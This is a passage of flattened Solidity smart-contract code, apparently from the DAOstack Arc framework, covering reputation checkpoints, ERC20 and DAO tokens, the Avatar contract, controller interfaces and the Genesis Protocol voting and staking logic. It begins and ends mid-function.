uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.2;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(msg.sender, _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _params, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call(_data);
emit GenericCall(_contract, _data, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
}
contract UniversalSchemeInterface {
function updateParameters(bytes32 _hashedParameters) public;
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
contract UniversalScheme is Ownable, UniversalSchemeInterface {
bytes32 public hashedParameters;
function updateParameters(
bytes32 _hashedParameters
)
public
onlyOwner
{
hashedParameters = _hashedParameters;
}
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
tempRealBase = mul(tempRealBase, tempRealBase);
}
return uint216(realResult / REAL_ONE);
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
return uint256((uint256(realA) * uint256(realB)) >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint;
using Math for uint;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
Staker storage staker = proposals[proposalId].stakers[organizations[proposal.organizationId]];
staker.vote = NO;
staker.amount = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted);
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
if (staker.amount > 0) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
uint256 totalStakes = proposal.stakes[YES].add(proposal.stakes[NO]);
if (staker.vote == YES) {
uint256 _totalStakes =
((totalStakes.mul(100 - proposal.expirationCallBountyPercentage))/100) - proposal.daoBounty;
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
} else {
rewards[0] = (staker.amount.mul(totalStakes))/totalWinningStakes;
if (organizations[proposal.organizationId] == _beneficiary) {
rewards[0] = rewards[0].sub(proposal.daoBounty);
}
}
}
staker.amount = 0;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
uint256 preBoostedVotes = proposal.preBoostedVotes[YES].add(proposal.preBoostedVotes[NO]);
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/preBoostedVotes);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return proposal.stakes[YES]/proposal.stakes[NO];
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
